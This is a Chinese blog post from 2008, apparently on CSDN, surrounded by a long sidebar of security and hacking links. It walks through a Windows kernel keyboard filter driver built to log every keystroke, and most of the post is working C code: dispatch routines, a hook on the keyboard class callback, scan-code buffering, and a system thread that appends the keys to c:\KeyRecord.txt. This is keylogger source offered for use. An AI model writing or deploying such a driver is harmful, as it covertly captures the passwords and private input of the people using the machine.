ke vinsID:iiprogram
1167152次访问,排名20好友0人,关注者53
残云收夏暑,新雨带秋岚!
[加为好友] [即时聊天] [发私信]
iiprogram的文章
原创 1359 篇
翻译 0 篇
转载 1238 篇
评论 345 篇
Kevins的公告
    留言


自2005年07月20日

Kevins的聯係方式:
unix@yiii.net


天氣預報


最近评论
niuwed:有完整的代码吗?
liuin:高人,学习了
山东啥:你好 下载已经失效了 可以再提供吗?
山东啥:你好 下载已经失效了 可以再提供吗?
山东啥:你好 下载已经失效了 可以再提供吗?
文章分类
收藏
相册
1
test
美女
*NUX技术
delphij
hitbsecconf2005
knoppix-std
linux admin
linuxsir
LWN.net
最爱chinaunix
HOT SITES
cnbeta
et8论坛
eyeos 中文
ntdebugging
rootkit
taiwan.cnet
techeblog
web代理
三联生活周刊
中国传统节日
中日文翻译
国学网
深度
看雪学院
驱动开发网
编程技术和代码下载
80x86 Opcodes
awarenetwork
bo2k-plugins
borland update site
C++/C电子书籍
c++builder 研究
chinaaspx文档
code source
codecomments
codeguru
codegurus
codeproject
coffee个人
cprogramming
crack-warez
CrackZ's Reverse Engineering
csdn
csdnbbs文档简易
dd调试技巧代码
debugman
delphi盒子
dephi goo site
diybl
Doron Holan's Blog: Kernel-Mode Drivers
driverdevelop
driverdevsite
electronicstalk_driver
EliCZ
ext2fsd
Flier's Sky
FWB
icode
itconsult_vc
jiurl系统研究
kernel resource
kernel source
kernel-mode development link
krugle.com
LCC
lookcode
mad hook api
mfc
Michael Howard's Web Log
ms_srv protocol
msdn magazine
network code
newhua_deve
ntkernel.com
osronline
pcvc
planet-source-code
putty code
reactos
RECON
reverse-engineering
shadowgo 个人blog
smartphone开发
sockaddr.com
Source Code Search Engine
tty64
tutorialdownloads
txakynetwork(driver,firewall)
undocumented.ntinternals
uty oldblog(driver&kernel)
vbs脚本
vccode
VCFORGE
vchelp
vckbase
vc-qq
vczx
vc原动力
vc原动力
vc在线
wasm.ru
webcrazyjp
Windows network services internals
世纪站长
中国站长源码
免费ie代理1
免费代理2
拼搏
操作系统开发研究
服务器开发技术
源代码
源代码下载2
电子书
编程网摘
藏鲸阁
豆豆源码
個人輔站
another blog?
个人blog-3
人气第一的台湾小美女
個人blog
個人技術輔2
资料blog
软件工具下载
0DAY 下载
0DAY-ART
chinaitpwo资料
flash下载
icwin资料
infoxa
MYEBOOK.CN
scitech.susx
soft8
source520
tooooold_searcj
torrentreactor.net
VCBOOK
xpbook
卡饭
文学ebook
核心编程
水电
源码天空
绿色下载
计算机与信息技术杂志
超好电子书籍站
酷客tool
酷客tool
非凡绿色下载
高校教材
硬件系统
hri.sourceforge.net
juniper mannel
资讯安全国内站
艾克索夫實驗室
0GINR
0ginr
0ginr论坛
51tiger.com安全
5eCur!ty Labs
5iliby
6code
77169
aloner
Alter's home page
antiprotect
astalavista
axis#ph4nt0m BLOG
ayarei/
bluehack
c.i.s.r.t
chinafe
CISRT
cncert
cto技术圈-ddos
cvcvxk
darkshell
debugman
debugman_wintools
dm-0day
dummy24
enet安全
eva
FCG
flowercode
FreeWin
friend-hsy
greatdong
h31home
H4x0r's Blog
hackee
heifou team
http://hi.baidu.com/yuange1975
huaidan's blog
icylife
inkings
insigma
internet worm
isip.cn
Juniper-bbs
kendivblog
KIJS
lenmo
loveshell
loveshell
luoluo
LYSOFT
lzx
majun 's blog
micropoint
mj0011
n4ry
NCPh
ne365-virus
neeao's blog
neeao's millow exp
Nethackonline 网络黑客在线
nop
nosec.org
open-bug
open-bug
PANTAO
raystyle
redhyphone union
regeliu
regshot
sometips
sudami
sysadmin.cn
System Repair Engineer安全检测
System Repair Engineer安全检测
T4NK's blog
team509
techtarget中文
TINK'S BLOG
unpack
unpackcn
uuty
vfocus
vxk
vxk大侠
Windows PowerShell及微软脚本
windowssky
xizi1023 blog
xwind
yiming 管理
yunshu-blog
ZUOJIE
zwell
一蓑烟雨
东来blog
中国x黑客小组
中国信息安全研究小组(CISRG)
中国信息安全组织
中国协议分析网
中国安全信息网-企业安全方案
从c开始
冷漠blog
刘涛涛blog
华夏同盟bbs
南域剑盟
危特网安
大牛蛙
安 翼 网 络
安全中国(RSS)
安全警戒
幻影
当下放下
影子鹰安全
微点blog
成都黑客在线
攻防blog
木马帝国
武汉黑客联盟
源码网
溢出专题study
白细胞
立华软件园安全防线
第八个男人
网安俱乐部
网络安全日志
艾克索夫實驗室.
补天
邪恶八进制
邪恶八进制
邪恶的hackza镜像
邪恶的oldexp
陆麟的主页
飞花堂
鬼仔blog
黑客百宝箱
資訊安全国外站
(kernel,virus code)
0DAY
158apps
62nds virus source
62nds-virus-code
advdbg.com
alexfedoto
allife(RSS)
Alter.Org.UA
anticode(RSS)
antirootkit
ANTIrootkit
ANYSIDE-EXP
anyside-exploit
arteam
astalavista.com
auscert
bifrost
bjwever
Black Hats Manual Software Security Auditing, Cracking,
blackcode.com(RSS)
blackhat mirror
blacksecurity
blogs.borland
bluemicro.digibase
bugtraq
bugtraq2
cert.org
chasenet.org-birfost
codebreakers-journal
community.reverse-engineering
Computer Forensics
computerterrorism
cool linux hack tool site
crackserver
CrackZ's Reverse Engineering
CVC电脑病毒
dark it sec
defcon
determina
dkcs security
DOXARA
eeye_0day_tra
eggheadcafe
elicz
elitehackers
elitehaven
European Hacker Conference
EVA的回收站
Evilcry
Expcode
exploit-1
exploitdatabase
foro.elhacke
Fortinet Security Research Team(RSS)
fredeyk
freexploit
freon-security
frsirt(RSS)
f-secure.weblog
Full Disclosure
full-disclosure
full-disclosure
gmc9
gmer
governmentsecurity(RSS)
h4cky0u
hackcoza
hackerscenter(RSS)
hackersclub
hackersplayground
hackwire(RSS)
haking.pl
he4dev
heapoverflow(RSS)
hexview
hick.org
hitbsecconf
hi-tech.nsys
hsc.fr(RSS)
icst.org.tw(RSS)
igniteds
infosecdaily
infosecwriters
infosyssec
insecure.org
internals
invisiblethings
jav.ch(RSS)
jeffrey.vanderstad
kd-team
l33tsecurity
labs.idefense
lcamtuf.coredump
malware analyze & reverse engineering
Mark Russinovich blog(cool)
markrussinovich
MC AV-Test site
Memory Forensic
metasploit-SHELLCODE(RSS)
microsoft安全(RSS)
milw0rm-shellcode(RSS)
MSDN杂志
msuiche
mtaulty(RSS)
mwcollect
nessus
nessus_plugin
net-security
net-security
network-file-explorers
networksecurityarchive(cool)
neworder.box.sk
neworder.box.sk
ngssoftware(RSS)
nirsoft
niscc.gov.uk(RSS)
NIST
nmd-labs
nnove-exploits
northsecuritylabs
noxusfiles
ntbugtraq
ntcore
nteam.ru
ntsecurity
Obsidis
offensivecomputing
offensivecomputing
omcd
only4gurus
Open Source Vulnerability Database
opennet.ru-exp
openrce(RSS)
openrce
openrce-articles
opensc
open-security
opferman
osvdb
packetstorm(RSS)
phenoelit.de
progenic
pulltheplug
PWDUMP6
Raymond Chen(msdn)
RECON
remoteassessment-exploit-file
remote-exploit
Reverse Compilation Techniques
reverse engineering team
ring 0 debugger
rootkit.com
rootkitunhooker(unreal)
ruder.cdut
RUS-CERT
s0ftpj.org
sabre-security
sabre-security
sec-consult(RSS)
seclist-fulldisclosure
secunia.com
secunia.com
secureworks
secureworks
securiteam
security.ittoolbox
security.nnov.ru
security.org.sg-code
securityarchitects
security-briefings
securitycatalyst(RSS)
securitydot-exploit
securityfocus(RSS)
securityforest
securitylab.ru
security-protocols(RSS)
securityreasonExploitAlert
securitysearch.net
securitytracker
sensepost
spywareinfo
Stanford's stinson
SUCK-O
sweRAT
sysinternals forum
taosecurity
taosecurity.blogspot(cool)
techmeme
techmeme.
tenablesecurity
THC(RSS)
thc.org
The 20 Most Critical Internet Security Vulnerabilities
the Month of Kernel Bugs
The Open Source Vulnerability Database
theaimsgroup bug
thebugs.ws
thenetworksecurity
tibbar(RSS)
tibbar
tippingpoint
topix-tech
triviasecurity
undergroundnews(RSS)
undocumented
undocumented.ntinternals
uninformed
uninformed
uninformed
uninformed.org
US-CERT
virustotal detect
vuln-search
VX Heavens
wd-3(RSS)
websense
WebSense Security Labs
whitehat
wilderssecurity
Win NT, Win 2000, and Win XP Security Tips
Windows network services internals
windowsecurity(RSS)
WOODMANN
woodmann.com
xatrix.org
xzziroz
yorn security
ZDNET_security
zdnet's security
zero day (RSS)
zone-h
zone-h.
反汇编引擎distorm
最新被黑站点
查询windows不明进程
汇编引擎yasm
经典phrack(RSS)
经典ussrback(RSS)
存档
订阅我的博客
XML聚合  FeedSky

原创 利用filter driver实现键盘记录 收藏

新一篇: hook未导出native api的好办法  | 旧一篇: win2k下的APC机制

实现键盘记录的方法一般是用全局钩子注入进程,这种方法比较简单,网上有N多文章讨论,不过对于一个高明的程序员来说,仍然可以躲开全局钩子的拦截。而用一个键盘的过滤驱动程序来拦截按键,程序员基本不可能绕开它的拦截。这两天无聊的很,做项目不是很顺,抽了点时间写了个东西。贴在这里灌水,高手们就不要看了。 driver entry是标准的例程,我们这里注册了一些分派函数 NTSTATUS DriverEntry (     IN  PDRIVER_OBJECT  DriverObject,     IN  PUNICODE_STRING RegistryPath     ) {     ULONG i;     UNREFERENCED_PARAMETER (RegistryPath);     //      // Fill in all the dispatch entry points with the pass through function     // and the explicitly fill in the functions we are going to intercept     //      for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) {         DriverObject->MajorFunction[i] = KbFilter_DispatchPassThrough;     }     DriverObject->MajorFunction [IRP_MJ_CREATE] =     DriverObject->MajorFunction [IRP_MJ_CLOSE] =        KbFilter_CreateClose;     DriverObject->MajorFunction [IRP_MJ_PNP] =          KbFilter_PnP;     DriverObject->MajorFunction [IRP_MJ_POWER] =        KbFilter_Power;     DriverObject->MajorFunction [IRP_MJ_INTERNAL_DEVICE_CONTROL] =                                                         KbFilter_InternIoCtl;     DriverObject->MajorFunction [IRP_MJ_SHUTDOWN]=KbFilter_DispatchShutdown;                                             DriverObject->DriverUnload = KbFilter_Unload;     DriverObject->DriverExtension->AddDevice = KbFilter_AddDevice;     return STATUS_SUCCESS; } 注册KbFilter_DispatchShutdown是为了在系统shutdown的时候获得通知,做些处理。 基本上所有的irp 都通过KbFilter_DispatchPassThrough传递到下层的驱动处理,一些ioctol irp也只是简单的 return一个nt status,我并不关心这些东西,需要传递的irp传递给下层驱动处理,这个filter本身基本不做任何处理,关键的部分在 KbFilter_CreateClose里面创建一个文件用于记录按键,代码如下:   RtlInitUnicodeString(&devExt->RecordFileName,L"\\DosDevices\\c:\\KeyRecord.txt");            /*NOTE:lzp--2005-4-9---            * OBJ_KERNEL_HANDLE must be set, otherwise, the zwwritefile will failed            */          InitializeObjectAttributes(&ObjectAttri,&devExt->RecordFileName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,      NULL,NULL);           //create or open the file      status=ZwCreateFile( &devExt->RecordFileHandle, FILE_APPEND_DATA|SYNCHRONIZE, &ObjectAttri, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE|FILE_SHARE_READ, FILE_OPEN_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);       if (!NT_SUCCESS(status)) {       DbgPrint("ZwCreateFile failed\n");      //IoDeleteDevice(device);          return (status);      } 所有的按键都保存在这个文件中,当有按键时候,会出发中断,最终调用VOID KbFilter_ServiceCallback(     IN PDEVICE_OBJECT DeviceObject,     IN PKEYBOARD_INPUT_DATA InputDataStart,     IN PKEYBOARD_INPUT_DATA InputDataEnd,     IN OUT PULONG InputDataConsumed     )这个函数来处理按键,通过hook这个callback,实现自己的功能,我在device_extension里开了个一个缓冲区用来记录按键,每记录100个按键,写一次文件;这部分都是在KbFilter_ServiceCallback实现的 PDEVICE_EXTENSION   devExt;     devExt = (PDEVICE_EXTENSION) DeviceObject->DeviceExtension;     ProcessScanCode(InputDataStart,          InputDataEnd,devExt);     (*(PSERVICE_CALLBACK_ROUTINE) devExt->UpperConnectData.ClassService)(         devExt->UpperConnectData.ClassDeviceObject,         InputDataStart,         InputDataEnd,         InputDataConsumed); 首先调用ProcessScanCode来记录按键,接着调用上层驱动的callback函数,把数据交给它们处理。 processscancode根据scan code转换为字符,保存在buffer中,每当记录了100个按键后,就调用 NTSTATUS StoreKeyToFile(PDEVICE_EXTENSION   devExt) { NTSTATUS status=STATUS_SUCCESS; //DbgPrint("IRQL:%d\n",KeGetCurrentIrql()); DbgPrint("Enter the StoreKeyToFile Routine\n");      devExt->KeyBuffer[index++]='\n';      KeSetEvent(&devExt->BeginWriteEvent,0,FALSE);      index=0;                return status;   } 把数据写入文件。由于此时IRQL是2(dispatch level irql),而zwwritefile只能在passive_level调用,为此专门实现了一个系统线程来做写文件的工作。系统线程在KbFilter_CreateClose 中创建: // create system thread for write key value to file      status = PsCreateSystemThread(&ThreadHandle,      THREAD_ALL_ACCESS, NULL, NULL, NULL, (PKSTART_ROUTINE) WriteThreadProc, devExt);     if (!NT_SUCCESS(status))      return status;     ObReferenceObjectByHandle(ThreadHandle,     THREAD_ALL_ACCESS,     NULL,     KernelMode,     (PVOID*) &devExt->WriteThread,     NULL);      ZwClose(ThreadHandle);          并初始化两个event:  //initialize event object          KeInitializeEvent(&devExt->BeginWriteEvent,           NotificationEvent, FALSE); KeInitializeEvent(&devExt->ExitEvent,           NotificationEvent, FALSE); 这两个event一个用于通知系统线程开始写文件,一个通知系统线程终止。每当buffer中保存了100个字符时候在storekeytofile里面就通过KeSetEvent(&devExt->BeginWriteEvent,0,FALSE)来唤醒系统线程开始写文件。系统线程代码入下: VOID WriteThreadProc(PDEVICE_EXTENSION pdx) { NTSTATUS status; IO_STATUS_BLOCK         IoStatusBlock; PVOID ThreadEvent[]= { (PVOID) &pdx->BeginWriteEvent, (PVOID) &pdx->ExitEvent, }; //DbgPrint("Enter WriteThread\n");//debug only while(TRUE){ DbgPrint("begin wait\n"); status=KeWaitForMultipleObjects(2,ThreadEvent,WaitAny, Executive,KernelMode, FALSE,NULL,NULL); if(!NT_SUCCESS(status)){ DbgPrint("error--KeWaitxxx\n"); goto exit; } if(status==STATUS_TIMEOUT){ DbgPrint("Timeout\n"); goto exit; } if(status == STATUS_WAIT_0){ DbgPrint("Begin Write\n");  KeClearEvent(&pdx->BeginWriteEvent); status=ZwWriteFile(pdx->RecordFileHandle, NULL, NULL, NULL, &IoStatusBlock, (UCHAR*)pdx->KeyBuffer, 100, NULL,//&BufOffset, NULL); if (!NT_SUCCESS(status)) { DbgPrint("Error in ZwWriteFile:%u\n",status);       }       // KeStallExecutionProcessor(100);        }else if(status == STATUS_WAIT_1){       DbgPrint("Terminate\n");       KeClearEvent(&pdx->ExitEvent);              goto exit;         //PsTerminateSystemThread(STATUS_SUCCESS);  }else{       DbgPrint("Error--thread proc\n");              goto exit;  } } exit: PsTerminateSystemThread(STATUS_SUCCESS); } 它一创建就进入一个while(TRUE)循环,调用kewaitformultipleobjects来睡眠,等待唤醒。如果是beginwriteevent唤醒的就写文件,如果是exitevent唤醒的就终止运行。 当系统shutdown的时候,可能buffer中的字符不到100个,则不会调用系统线程写文件,我本来的考虑是注册个shutdwon例程,在 KbFilter_DispatchShutdown中把所有buffer中的数据都写到文件中。但是调试后发现这个写文件的操作从来没有成功过,不知道什么原因。此外,更加诡异的是,在系统boot的时候会发送IRP_MJ_CLOSE irp给驱动,结果close例程被调用,这极其奇怪。不过好在每什么影响,没时间了,懒得debug它。 至于为什么KbFilter_DispatchShutdown写文件不成功,不知道哪位大虾了解,麻烦指教。我觉得可能是shutdwon的时候irql不是passive_level或者文件系统驱动已经在键盘驱动之前unload了。不是很清楚。

发表于 @ 2008年06月30日 23:14:00|评论(loading...)|收藏

新一篇: hook未导出native api的好办法  | 旧一篇: win2k下的APC机制

评论:没有评论。

发表评论  


登录
Csdn Blog version 3.1a
Copyright © Kevins